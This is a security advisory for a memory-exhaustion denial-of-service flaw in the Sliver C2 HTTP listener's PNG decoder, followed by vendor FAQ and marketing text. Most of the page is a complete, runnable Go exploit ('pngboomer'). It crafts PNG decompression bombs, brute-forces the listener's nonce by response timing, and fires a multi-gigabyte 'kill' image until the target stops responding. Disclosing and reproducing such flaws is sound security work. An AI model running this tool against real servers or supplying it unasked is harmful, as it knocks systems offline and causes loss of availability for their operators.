Summary
Sliver: Unauthenticated Memory Exhaustion Denial of Service in Sliver HTTP(S) Listener PNG Decoder
Sliver is vulnerable to a Denial of Service (DOS) attack because there is no cap in the size of a PNG file that can be sent to an open http listener and there is a small amount of possible nonces. This vulnerability lets the attacker completely max out the RAM of the machine running server, leading to a complete loss of availability.
Details
The first vulnerability is that the amount of possible nonces is 65,537. This is found in server/encoders/encoders.go
const (
EncoderModulus = uint64(65537)
)
The second vulnerability is there is no limit to how many pixels the PNG encoder will accept from an unauthenticated user. This is found in:util/encoders/images.go
func (p PNGEncoder) Encode(data []byte) ([]byte, error) {
img := imageFromBytes(data)
var buf bytes.Buffer
encoder.Encode(&buf, img)
return buf.Bytes(), nil
}
func (p PNGEncoder) Decode(data []byte) ([]byte, error) {
buf := bytes.NewBuffer(data)
img, err := png.Decode(buf)
if err != nil { return nil, err }
return bytesFromImage(img), nil
}
PoC
The first step to reproduce this vulnerability is building a docker container to make sure no harm is caused.
Get the latest version of Sliver (Currently 1.7.3)
git clone https://github.com/BishopFox/sliver.git
Build the Docker container:
cd sliver
docker build -t sliver-test:local -f Dockerfile .
Run the Docker container with a memory cap for example 4GB:
docker run --rm \
--name sliver-test \
--memory=4g \
-p 8080:8080 \
-it \
sliver-test:local
After the Docker container starts, create an http listener on port 8080:
http -L 0.0.0.0 -l 8080
In a seperate terminal create the following Go project:go.mod
module pngboomer
go 1.25
poc.go
// pngboomer, Sliver HTTP C2 PNG-bomb exploit: blind nonce brute-force + kill.
//
// SAFETY: the kill bomb causes a multi-GB PNG decode on the target. Always run
// it against a Docker container with --memory=<N>g and pass -target-cap-mb N
// so the tool can refuse dangerous worker/probe combos.
//
// Build: go build -o pngboomer
// Demo: ./pngboomer -url http://target:8080/ -target-cap-mb 10240
package main
import (
"bytes"
"compress/zlib"
"context"
"encoding/binary"
"flag"
"fmt"
"hash/crc32"
"io"
"math/rand"
"net"
"net/http"
"net/url"
"os"
"sort"
"sync"
"sync/atomic"
"time"
)
// ANSI color, single helper, disabled by -no-color / -silent.
var nocolor bool
func col(code, s string) string {
if nocolor {
return s
}
return "\x1b[" + code + "m" + s + "\x1b[0m"
}
func B(s string) string { return col("1", s) }
func D(s string) string { return col("2", s) }
func R(s string) string { return col("1;31", s) }
func G(s string) string { return col("1;32", s) }
func Y(s string) string { return col("1;33", s) }
func C(s string) string { return col("1;36", s) }
func ms(d time.Duration) float64 { return float64(d.Microseconds()) / 1000 }
// PNG forging, stream zero-rows into zlib so client RSS stays ~10 MB even for
// the 4 GiB-decode kill bomb. colorType: 2=RGB (3 B/px), 6=RGBA (4 B/px).
func chunk(typ string, data []byte) []byte {
out := make([]byte, 4, 12+len(data))
binary.BigEndian.PutUint32(out, uint32(len(data)))
out = append(out, typ...)
out = append(out, data...)
crc := crc32.NewIEEE()
crc.Write([]byte(typ))
crc.Write(data)
tail := make([]byte, 4)
binary.BigEndian.PutUint32(tail, crc.Sum32())
return append(out, tail...)
}
func makePNG(W, H, ct int) []byte {
bpp := 3
if ct == 6 {
bpp = 4
}
var zb bytes.Buffer
zw, _ := zlib.NewWriterLevel(&zb, zlib.BestCompression)
row := make([]byte, 1+bpp*W)
for i := 0; i < H; i++ {
zw.Write(row)
}
zw.Close()
ihdr := make([]byte, 13)
binary.BigEndian.PutUint32(ihdr[0:4], uint32(W))
binary.BigEndian.PutUint32(ihdr[4:8], uint32(H))
ihdr[8], ihdr[9] = 8, byte(ct)
out := []byte("\x89PNG\r\n\x1a\n")
out = append(out, chunk("IHDR", ihdr)...)
out = append(out, chunk("IDAT", zb.Bytes())...)
return append(out, chunk("IEND", nil)...)
}
// HTTP helpers
func hostPort(u string) string {
p, _ := url.Parse(u)
if p.Port() != "" {
return p.Hostname() + ":" + p.Port()
}
if p.Scheme == "https" {
return p.Hostname() + ":443"
}
return p.Hostname() + ":80"
}
func alive(hp string, t time.Duration) bool {
c, err := net.DialTimeout("tcp", hp, t)
if err != nil {
return false
}
c.Close()
return true
}
func post(ctx context.Context, cli *http.Client, base string, body []byte, n uint64) time.Duration {
req, _ := http.NewRequestWithContext(ctx, "POST",
fmt.Sprintf("%s?n=%d", base, n), bytes.NewReader(body))
req.Header.Set("Content-Type", "application/octet-stream")
t := time.Now()
resp, err := cli.Do(req)
dt := time.Since(t)
if err == nil {
io.Copy(io.Discard, resp.Body)
resp.Body.Close()
}
return dt
}
type hit struct {
n uint64
dt time.Duration
}
func main() {
target := flag.String("url", "http://127.0.0.1:8080/", "Sliver HTTP C2 base URL")
workers := flag.Int("workers", 8, "scan concurrency")
probeW := flag.Int("probe-w", 2000, "probe PNG width")
probeH := flag.Int("probe-h", 2000, "probe PNG height")
probeCT := flag.Int("probe-color", 2, "probe color: 2=RGB, 6=RGBA")
killW := flag.Int("kill-w", 32767, "kill PNG width")
killH := flag.Int("kill-h", 32767, "kill PNG height")
killCT := flag.Int("kill-color", 6, "kill color: 2=RGB, 6=RGBA")
thMs := flag.Int("threshold-ms", 50, "threshold floor (effective = max(this, baseline_p99 × outlier-mult))")
outlier := flag.Float64("outlier-mult", 15.0, "baseline_p99 × this = adaptive threshold")
calibN := flag.Int("calibrate", 16, "non-PNG calibration samples")
verifyN := flag.Int("verify", 3, "re-probe count per candidate")
maxN := flag.Int("max-nonce", 65537, "top nonce (Sliver modulus = 65537)")
pTO := flag.Duration("probe-timeout", 5*time.Second, "per-probe HTTP timeout")
kTO := flag.Duration("kill-timeout", 180*time.Second, "kill request HTTP timeout")
capMB := flag.Int("target-cap-mb", 10240, "declared target memory cap, 0 = disable check")
known := flag.Int("nonce", 0, "skip scan, use this nonce directly")
scanOnly := flag.Bool("scan-only", false, "stop after finding nonce, don't kill")
noConf := flag.Bool("no-confirm", false, "don't TCP-poll for death after kill")
noClr := flag.Bool("no-color", false, "disable ANSI color")
silent := flag.Bool("silent", false, "only print nonce on stdout")
flag.Parse()
nocolor = *noClr || *silent
pBpp, kBpp := 3, 3
if *probeCT == 6 {
pBpp = 4
}
if *killCT == 6 {
kBpp = 4
}
probeMB := pBpp * *probeW * *probeH / 1024 / 1024
killMB := kBpp * *killW * *killH / 1024 / 1024
peakMB := *workers * probeMB
if *capMB > 0 && peakMB > *capMB/2 {
fmt.Fprintf(os.Stderr, "%s scan peak %d MiB > target cap %d / 2, lower -workers or -probe-w/h\n",
R("[X] safety:"), peakMB, *capMB)
os.Exit(2)
}
probe := makePNG(*probeW, *probeH, *probeCT)
kill := makePNG(*killW, *killH, *killCT)
hp := hostPort(*target)
if !alive(hp, 2*time.Second) {
fmt.Fprintf(os.Stderr, "%s target unreachable: %s\n", R("[X]"), hp)
os.Exit(2)
}
if !*silent {
fmt.Fprintln(os.Stderr, B("pngboomer, Sliver C2 PNG-bomb DoS"))
fmt.Fprintf(os.Stderr, " probe %dB wire %dx%d c=%d → %d MiB decode\n",
len(probe), *probeW, *probeH, *probeCT, probeMB)
fmt.Fprintf(os.Stderr, " kill %dB wire %dx%d c=%d → %d MiB decode\n",
len(kill), *killW, *killH, *killCT, killMB)
fmt.Fprintf(os.Stderr, " scan peak ≈ %d MiB target cap=%d MiB reachable=%s\n",
peakMB, *capMB, B(hp))
}
cli := &http.Client{Timeout: *pTO, Transport: &http.Transport{MaxIdleConnsPerHost: *workers}}
pngN := uint64(*known)
if pngN == 0 {
// ─── Phase 1: calibrate non-PNG baseline ───
dts := make([]time.Duration, *calibN)
sem := make(chan struct{}, 8)
var wg sync.WaitGroup
for i := 0; i < *calibN; i++ {
i := i
sem <- struct{}{}
wg.Add(1)
go func() {
defer wg.Done()
defer func() { <-sem }()
dts[i] = post(context.Background(), cli, *target, probe, uint64(rand.Intn(*maxN-1)+1))
}()
}
wg.Wait()
sort.Slice(dts, func(i, j int) bool { return dts[i] < dts[j] })
p50, p99 := dts[len(dts)/2], dts[len(dts)*99/100]
eff := int64(*thMs)
if a := int64(float64(p99.Milliseconds()) * *outlier); a > eff {
eff = a
}
*thMs = int(eff)
thresh := time.Duration(*thMs) * time.Millisecond
if !*silent {
fmt.Fprintf(os.Stderr, " baseline p50=%.0fms p99=%.0fms → threshold=%s (max of floor, p99×%.0f)\n",
ms(p50), ms(p99), B(fmt.Sprintf("%dms", *thMs)), *outlier)
}
// ─── Phase 2: scan with verify + blacklist-on-blip ───
blacklist := map[uint64]bool{}
var maxDt int64
var maxNonce uint64
var totalDone uint64
scanStart := time.Now()
const maxBlips = 8
// Shuffled nonce order, shared across re-scans. Workers pull via atomic
// counter, no channels, no producer goroutine.
order := make([]uint64, *maxN-1)
for i := range order {
order[i] = uint64(i + 1)
}
rand.Shuffle(len(order), func(i, j int) { order[i], order[j] = order[j], order[i] })
for blip := 0; blip < maxBlips && pngN == 0; blip++ {
scanCtx, scanCancel := context.WithCancel(context.Background())
hits := make(chan hit, 1)
var idx int64
var scanned uint64
var swg sync.WaitGroup
for i := 0; i < *workers; i++ {
swg.Add(1)
go func() {
defer swg.Done()
for scanCtx.Err() == nil {
i := atomic.AddInt64(&idx, 1) - 1
if i >= int64(len(order)) {
return
}
n := order[i]
if blacklist[n] {
continue
}
dt := post(scanCtx, cli, *target, probe, n)
atomic.AddUint64(&scanned, 1)
for { // track slowest probe (lock-free CAS)
cur := atomic.LoadInt64(&maxDt)
if dt.Nanoseconds() <= cur {
break
}
if atomic.CompareAndSwapInt64(&maxDt, cur, dt.Nanoseconds()) {
atomic.StoreUint64(&maxNonce, n)
break
}
}
if dt >= thresh {
select {
case hits <- hit{n, dt}:
default:
}
scanCancel()
return
}
}
}()
}
if !*silent {
go func() {
t := time.NewTicker(750 * time.Millisecond)
defer t.Stop()
for {
select {
case <-scanCtx.Done():
return
case <-t.C:
tot := atomic.LoadUint64(&totalDone) + atomic.LoadUint64(&scanned)
el := time.Since(scanStart).Seconds()
fmt.Fprintf(os.Stderr, D(" scanned %d (%.0f/s, %.1fs, blips=%d)\n"),
tot, float64(tot)/el, el, blip)
}
}
}()
}
go func() { swg.Wait(); close(hits) }()
cand, ok := <-hits
scanCancel()
atomic.AddUint64(&totalDone, atomic.LoadUint64(&scanned))
if !ok {
break // exhausted, no candidate
}
// VERIFY: re-probe N×, count threshold hits, render tries inline
conf := 0
var tries bytes.Buffer
for i := 0; i < *verifyN; i++ {
dt := post(context.Background(), cli, *target, probe, cand.n)
if dt >= thresh {
conf++
tries.WriteString(G("✓"))
} else {
tries.WriteString(R("✗"))
}
fmt.Fprintf(&tries, "%.0fms ", ms(dt))
}
if !*silent {
fmt.Fprintf(os.Stderr, " candidate %s (%.0fms) verify: %s\n",
B(fmt.Sprintf("%d", cand.n)), ms(cand.dt), tries.String())
}
if conf >= (*verifyN+1)/2 {
pngN = cand.n
if !*silent {
fmt.Fprintf(os.Stderr, "%s nonce=%s in %.2fs (%d probes, %d blips)\n",
G("[+] FOUND"), B(fmt.Sprintf("%d", pngN)),
time.Since(scanStart).Seconds(), atomic.LoadUint64(&totalDone), len(blacklist))
}
break
}
blacklist[cand.n] = true
if !*silent {
fmt.Fprintf(os.Stderr, "%s nonce %d rejected (%d/%d), blacklisted\n",
Y("[!] blip"), cand.n, conf, *verifyN)
}
}
if pngN == 0 {
mDt := time.Duration(atomic.LoadInt64(&maxDt))
mN := atomic.LoadUint64(&maxNonce)
fmt.Fprintf(os.Stderr, "%s no candidate ≥ %dms after %d probes\n",
R("[X] scan failed:"), *thMs, atomic.LoadUint64(&totalDone))
fmt.Fprintf(os.Stderr, " slowest probe: nonce=%d at %.0fms\n", mN, ms(mDt))
suggest := mDt.Milliseconds() * 6 / 10
if suggest < 30 {
suggest = 30
}
fmt.Fprintf(os.Stderr, " fix: %s or grow -probe-w/-probe-h\n",
C(fmt.Sprintf("-threshold-ms %d", suggest)))
os.Exit(2)
}
}
if *scanOnly {
fmt.Println(pngN)
return
}
// ─── Phase 3: fire kill bomb ───
if !*silent {
fmt.Fprintf(os.Stderr, "%s firing kill (%d MiB decode) at %s?n=%d\n",
B("[*]"), killMB, *target, pngN)
}
kCli := &http.Client{Timeout: *kTO}
killStart := time.Now()
done := make(chan struct{})
go func() {
dt := post(context.Background(), kCli, *target, kill, pngN)
if !*silent {
fmt.Fprintf(os.Stderr, " kill returned in %.2fs\n", dt.Seconds())
}
close(done)
}()
if *noConf {
<-done
fmt.Println(pngN)
return
}
deadline := time.Now().Add(*kTO)
for time.Now().Before(deadline) {
time.Sleep(250 * time.Millisecond)
if !alive(hp, time.Second) {
if !*silent {
fmt.Fprintf(os.Stderr, "%s killed in %.2fs (TCP refused at %s)\n",
G("[+] ★ TARGET DEAD ★"), time.Since(killStart).Seconds(), hp)
}
fmt.Println(pngN)
return
}
}
fmt.Fprintf(os.Stderr, "%s target alive after %s, try larger -kill-w/-kill-h\n", Y("[!]"), *kTO)
os.Exit(1)
}
Collaboration
This vulnerability was found with the help of Wencheng Xue (panwnvda).
Impact
This vulnerability can impact the availability of any Sliver server that has a running http listener. If the target server does not have a limit on the amount of memory the Sliver C2 can use it will lead to a host device crashing.
The application allocates resources such as memory, threads, or file descriptors based on untrusted input without enforcing a cap. Typical impact: resource exhaustion leading to denial of service.
Affected versions
Security releases
Kodem intelligence
Severity tells you how bad this could be in the worst case. It does not tell you whether you are exposed. Exploitability and impact are functions of runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A vulnerable package can sit in your dependency tree and never run.
Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter. Kodem's runtime-powered SCA identifies whether this CVE is reachable in your applications.
Already deployed Kodem?
See it in your environmentNew to Kodem? Get a demo →Remediation advice
Kodem Kai can prioritize this vulnerability in your dependency tree and generate a fix recommendation.
Frequently Asked Questions
- What is CVE-2026-77622? CVE-2026-77622 is a high-severity allocation of resources without limits or throttling vulnerability in github.com/BishopFox/sliver (go), affecting versions < 1.7.6. It is fixed in 1.7.6. The application allocates resources such as memory, threads, or file descriptors based on untrusted input without enforcing a cap.
- Which versions of github.com/BishopFox/sliver are affected by CVE-2026-77622? github.com/BishopFox/sliver (go) versions < 1.7.6 is affected.
- Is there a fix for CVE-2026-77622? Yes. CVE-2026-77622 is fixed in 1.7.6. Upgrade to this version or later.
- Is CVE-2026-77622 exploitable, and should I be worried? Whether CVE-2026-77622 is exploitable in your environment depends on whether the vulnerable code is present and reachable. A CVSS score is a worst-case rating; it does not account for your specific deployment, configuration, or usage patterns. Kodem, an Intelligent Application Security platform, uses runtime intelligence to show which vulnerabilities actually execute in production, so you can focus on the ones that represent real risk. Get a demo
- What actually determines whether CVE-2026-77622 is exploitable, and how bad it is? Exploitability and impact are not fixed properties of a CVE. They depend on runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A high CVSS score on a dependency that never runs is not the same as real risk. Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter.
- How do I fix CVE-2026-77622? Upgrade
github.com/BishopFox/sliverto 1.7.6 or later.